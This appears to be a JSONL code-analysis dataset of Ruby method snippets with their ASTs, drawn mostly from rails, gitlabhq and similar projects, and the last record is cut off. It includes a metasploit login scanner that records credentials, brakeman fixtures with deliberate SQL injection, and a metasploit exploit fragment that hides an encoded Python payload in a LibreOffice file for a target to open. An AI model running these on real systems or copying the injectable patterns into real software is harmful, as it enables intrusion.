{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb","start_line":98,"raw_source":"def do_report(ip, port, result)\n    service_data = {\n      address: ip,\n      port: port,\n      service_name: 'http',\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      module_fullname: self.fullname,\n      origin_type: :service,\n      private_data: result.credential.private,\n      private_type: :password,\n      username: result.credential.public,\n    }.merge(service_data)\n\n    credential_core = create_credential(credential_data)\n\n    login_data = {\n      core: credential_core,\n      last_attempted_at: DateTime.now,\n      status: result.status\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"do_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"private\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"public\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"8062be62-a398-460c-a9a0-340f914479cc"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/engine.rb","start_line":708,"raw_source":"def has_migrations?\n        paths[\"db/migrate\"].existent.any?\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_migrations?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paths\"]},\"[]\",{\"type\":\"str\",\"children\":[\"db/migrate\"]}]},\"existent\"]},\"any?\"]}]}","id":"73194f9a-86c0-45a3-a44a-bf1c60500a21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/artifacts_controller_spec.rb","start_line":576,"raw_source":"def params_from_ref(ref = pipeline.ref, job_name = job.name, path = 'browse')\n      {\n        namespace_id: project.namespace,\n        project_id: project,\n        ref_name_and_path: File.join(ref, path),\n        job: job_name\n      }\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"params_from_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ref\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"ref\"]}]},{\"type\":\"optarg\",\"children\":[\"job_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"name\"]}]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"str\",\"children\":[\"browse\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_name_and_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job_name\"]}]}]}]}","id":"a546955e-c466-4d5d-8d44-82409032bcc0"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.1/app/models/product.rb","start_line":14,"raw_source":"def test_find_having\n    #Should warn\n    Product.find(:first, :conditions => 'admin = 1', :having => \"x = #{params[:having]}\")\n\n    #Should not warn, hash values are escaped\n    Product.find(:first, :conditions => 'admin = 1', :having => { :x => params[:having]})\n\n    #Should not warn, properly interpolated\n    Product.find(:first, :conditions => ['name = ?', params[:name]], :having => [ 'x = ?', params[:having]])\n\n    #Should warn, not quite properly interpolated\n    Product.find(:first, :conditions => ['name = ?', params[:name]], :having => [ \"admin = ? and x = #{params[:having]}\", cookies[:admin]])\n    Product.find(:first, :conditions => ['name = ?', params[:name]], :having => [ \"admin = ? and x = '\" + params[:having] + \"'\", cookies[:admin]])\n  end","complexity_score":34.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_having\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"find\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"str\",\"children\":[\"admin = 1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"having\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"x = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"having\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"find\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"str\",\"children\":[\"admin = 1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"having\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"having\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"find\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"having\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"x = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"having\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"find\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"having\"]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"admin = ? and x = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"having\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"admin\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"find\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"having\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"admin = ? and x = '\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"having\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"admin\"]}]}]}]}]}]}]}]}","id":"80ce603e-be3d-4df1-b0a3-f836664f916d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/timelog_type.rb","start_line":56,"raw_source":"def user\n      Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.user_id, default_value: ::Users::Internal.ghost).find\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Loaders\"]},\"BatchModelLoader\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"Internal\"]},\"ghost\"]}]}]}]},\"find\"]}]}","id":"152e4e54-252d-4018-a16a-394bfd8cd908"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20220215015538_drop_user_stat_count_constraints.rb","start_line":9,"raw_source":"def down\n    execute(<<~SQL)\n    UPDATE user_stats\n    SET post_count = 0\n    WHERE post_count < 0\n    SQL\n\n    execute(<<~SQL)\n    UPDATE user_stats\n    SET topic_count = 0\n    WHERE topic_count < 0\n    SQL\n\n    execute \"ALTER TABLE user_stats ADD CONSTRAINT topic_count_positive CHECK (topic_count >= 0)\"\n    execute \"ALTER TABLE user_stats ADD CONSTRAINT post_count_positive CHECK (post_count >= 0)\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE user_stats\\n\"]},{\"type\":\"str\",\"children\":[\"SET post_count = 0\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE post_count < 0\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE user_stats\\n\"]},{\"type\":\"str\",\"children\":[\"SET topic_count = 0\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE topic_count < 0\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE user_stats ADD CONSTRAINT topic_count_positive CHECK (topic_count >= 0)\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE user_stats ADD CONSTRAINT post_count_positive CHECK (post_count >= 0)\"]}]}]}]}","id":"a6e97929-20b9-4879-93b3-1cf948490583"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/type/adapter_specific_registry.rb","start_line":91,"raw_source":"def matches_adapter?(adapter: nil, **)\n          (self.adapter.nil? || adapter == self.adapter)\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_adapter?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"adapter\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"adapter\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"adapter\"]}]}]}]}]}","id":"9730c1eb-dd3f-4b48-8f66-d5b82dc17bdd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":264,"raw_source":"def attempt_project_search_optimizations?\n    params[:attempt_project_search_optimizations]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_project_search_optimizations?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attempt_project_search_optimizations\"]}]}]}","id":"85b90e18-6ac8-4657-9102-4edb6ccefa1f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/snippets_finder.rb","start_line":227,"raw_source":"def project\n    strong_memoize(:project) do\n      next unless params[:project].present?\n\n      params[:project].is_a?(Project) ? params[:project] : Project.find_by_id(params[:project])\n    end\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"present?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]}]}]}]}","id":"8c68079e-f2ff-4249-a7a6-dee6feae404b"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cached/recursive/has_many_test.rb","start_line":41,"raw_source":"def test_embedded_recursively\n          assert_predicate(has_many, :embedded_recursively?)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_embedded_recursively\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"has_many\"]},{\"type\":\"sym\",\"children\":[\"embedded_recursively?\"]}]}]}","id":"11dc3d80-bf5d-4b99-98e1-02a854e2b0cc"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/consumer_app.rb","start_line":30,"raw_source":"def operational?\n    active && auth_credentials.present?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"operational?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_credentials\"]},\"present?\"]}]}]}","id":"3063f35f-4052-4fa8-b503-e09087072efd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/changeset.rb","start_line":193,"raw_source":"def create_change(change)\n    Change.create(changeset: self,\n                  action: change[:action],\n                  path: change[:path],\n                  from_path: change[:from_path],\n                  from_revision: change[:from_revision])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Change\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"changeset\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_revision\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from_revision\"]}]}]}]}]}]}","id":"724ba358-66c1-4690-b602-f9d34629e0b2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/uuid_test.rb","start_line":408,"raw_source":"def test_find_with_uuid\n    UuidPost.create!\n    assert_raise ActiveRecord::RecordNotFound do\n      UuidPost.find(123456)\n    end\n  end","complexity_score":4.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_with_uuid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UuidPost\"]},\"create!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UuidPost\"]},\"find\",{\"type\":\"int\",\"children\":[123456]}]}]}]}]}","id":"bfdcb276-e983-46e6-8328-744b92016e12"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/access_tokens_actions.rb","start_line":107,"raw_source":"def finder(options = {})\n    PersonalAccessTokensFinder.new({ user: bot_users, impersonation: false }.merge(options))\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"finder\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessTokensFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"bot_users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impersonation\"]},{\"type\":\"false\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"655d3c00-bf07-4b82-b2b6-79fef59ca8f3"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/custom_field_form_builder.rb","start_line":109,"raw_source":"def custom_field_select_options_for_object\n    is_required = custom_field.is_required?\n    default_value = custom_field.default_value\n\n    select_options = { no_label: true }\n\n    if is_required && default_value.blank?\n      select_options[:prompt] = \"--- #{I18n.t(:actionview_instancetag_blank_option)} ---\"\n    elsif !is_required && !custom_field.multi_value?\n      select_options[:include_blank] = true\n    end\n\n    select_options\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_field_select_options_for_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_required\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"is_required?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"default_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"default_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"select_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_label\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_value\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--- \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"actionview_instancetag_blank_option\"]}]}]},{\"type\":\"str\",\"children\":[\" ---\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_required\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"multi_value?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"select_options\"]}]}]}","id":"a7460446-0880-4857-8294-42560344b058"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ml/mlflow/api_helpers.rb","start_line":183,"raw_source":"def candidate_version?(model_version)\n          return false unless model_version\n\n          model_version&.start_with?('candidate:')\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"candidate_version?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_version\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"candidate:\"]}]}]}]}","id":"5a213320-bb1a-4004-a74e-19e47dc9a3c0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":869,"raw_source":"def test_distinct_is_honored_when_used_with_count_operation_after_group\n    # Count the number of authors for approved topics\n    approved_topics_count = Topic.group(:approved).count(:author_name)[true]\n    assert_equal 4, approved_topics_count\n    # Count the number of distinct authors for approved Topics\n    distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]\n    assert_equal 3, distinct_authors_for_approved_count\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_distinct_is_honored_when_used_with_count_operation_after_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"approved_topics_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"group\",{\"type\":\"sym\",\"children\":[\"approved\"]}]},\"count\",{\"type\":\"sym\",\"children\":[\"author_name\"]}]},\"[]\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"lvar\",\"children\":[\"approved_topics_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"distinct_authors_for_approved_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"group\",{\"type\":\"sym\",\"children\":[\"approved\"]}]},\"distinct\"]},\"count\",{\"type\":\"sym\",\"children\":[\"author_name\"]}]},\"[]\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"lvar\",\"children\":[\"distinct_authors_for_approved_count\"]}]}]}]}","id":"9d0d9d81-2d9f-45ec-bddf-60ac52da1e59"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/fileformat/libreoffice_logo_exec.rb","start_line":60,"raw_source":"def gen_file\n    text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])\n    py_code = Rex::Text.encode_base64(payload.encoded)\n    @cmd = \"exec(eval(str(__import__('base64').b64decode('#{py_code}'))))\"\n    @cmd = Rex::Text.html_encode(@cmd)\n\n    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))\n    libre_file = ERB.new(fodt_file).result(binding())\n\n    print_status(\"File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.\")\n\n    libre_file\n  rescue Errno::ENOENT\n    fail_with(Failure::NotFound, 'Cannot find template file')\n  